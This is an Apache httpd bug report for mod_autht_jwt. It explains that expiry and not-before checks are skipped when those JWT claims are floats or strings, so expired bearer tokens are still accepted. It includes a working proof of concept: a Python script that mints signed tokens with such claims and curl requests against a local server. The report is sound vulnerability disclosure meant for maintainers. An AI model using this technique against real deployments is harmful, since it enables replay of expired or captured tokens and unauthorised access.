https://bz.apache.org/bugzilla/show_bug.cgi?id=70275

            Bug ID: 70275
           Summary: mod_autht_jwt only enforces the "exp" (expiry) and
                    "nbf" (not-before) claims when their JSON value is an
                    integer. If the value is a float or a string, the
                    check is silently skipped and the token is accepted.
                    An expired token whose "exp" is encoded as a fl
           Product: Apache httpd-2
           Version: 2.5-HEAD
          Hardware: PC
                OS: Linux
            Status: NEW
          Severity: major
          Priority: P2
         Component: mod_autht_jwt
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---

SUMMARY
-------
mod_autht_jwt only enforces the "exp" (expiry) and "nbf" (not-before) claims
when their JSON value is an integer. If the value is a float or a string, the
check is silently skipped and the token is accepted. An expired token whose
"exp" is encoded as a float/string is therefore treated as never-expiring.

ROOT CAUSE
----------
check_token() in modules/aaa/mod_autht_jwt.c:

  983  if (!strncmp("exp", kv->k->value.string.p, kv->k->value.string.len)) {
  984      if (kv->v->type == APR_JSON_LONG) { exp = kv->v->value.lnumber;
exp_set = 1; }
  985  }
  ...  (nbf handled the same way, lines 990-995)
  1014 if (exp_set || nbf_set) {
  1017     if (exp_set && exp < apr_time_sec(now)) return AUTHT_EXPIRED;

The claim is captured only when kv->v->type == APR_JSON_LONG. RFC 7519
NumericDate permits non-integer values, and common issuers/serializers emit
exp as a float (e.g. 1700000000.0 -> APR_JSON_DOUBLE) or a string. Such a token
leaves exp_set = 0, so the whole expiry/nbf block is skipped.

PROOF OF CONCEPT
----------------
1. Configure an HS256-protected location (AuthName must match the token aud):

     AuthtJwtDriver openssl
     <Location "/jwt">
         AuthType bearer
         AuthName "myaud"
         AuthBearerProvider jwt
         AuthtJwtVerify HS256 file /path/to/secret
         Require valid-user
     </Location>

   Start httpd normally.

2. Mint four VALIDLY-SIGNED test tokens from the same secret (so only the
   exp/nbf encoding differs). Run on any host with python3:

     python3 - <<'EOF'
     import hmac,hashlib,base64
     b=lambda x:base64.urlsafe_b64encode(x).rstrip(b'=').decode()
     secret=open('/path/to/secret','rb').read()
     H=b(b'{"alg":"HS256","typ":"JWT"}')
     def tok(payload):
         si=H+'.'+b(payload.encode())
         return si+'.'+b(hmac.new(secret,si.encode(),hashlib.sha256).digest())
     for n,p in [("int-exp(past)",  
'{"sub":"a","aud":"myaud","exp":1000000000}'),
                 ("float-exp(past)",
'{"sub":"a","aud":"myaud","exp":1000000000.0}'),
                
("string-exp(past)",'{"sub":"a","aud":"myaud","exp":"1000000000"}'),
                
("float-nbf(future)",'{"sub":"a","aud":"myaud","nbf":4000000000.0}')]:
         print(n, tok(p))
     EOF

3. Send each token:
     curl -s -o /dev/null -w "%{http_code}\n" \
          -H "Authorization: Bearer <token>" http://localhost/jwt

OBSERVED RESULT
---------------
  exp = 1000000000     (integer, long past)  -> 401   (correctly expired)
  exp = 1000000000.0   (float,   long past)  -> 200   ACCEPTED  (bug)
  exp = "1000000000"   (string,  long past)  -> 200   ACCEPTED  (bug)
  nbf = 4000000000.0   (float,   future)     -> 200   ACCEPTED  (bug)

EXPECTED
--------
A present-but-non-integer exp/nbf must cause rejection (not be ignored).

IMPACT
------
Expired bearer tokens remain valid indefinitely; "not-before" is not enforced.
Enables captured-token replay well past intended expiry.

DISTINCT FROM #69946
--------------------
#69946 overwrites exp via a prefix claim key ("e" matching "exp"). This bug is
a separate value-type fail-open on a legitimately-named "exp"/"nbf" claim.

FIX
---
Reject when exp/nbf is present but not an integer, and/or parse float
NumericDate
values before the comparison.

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to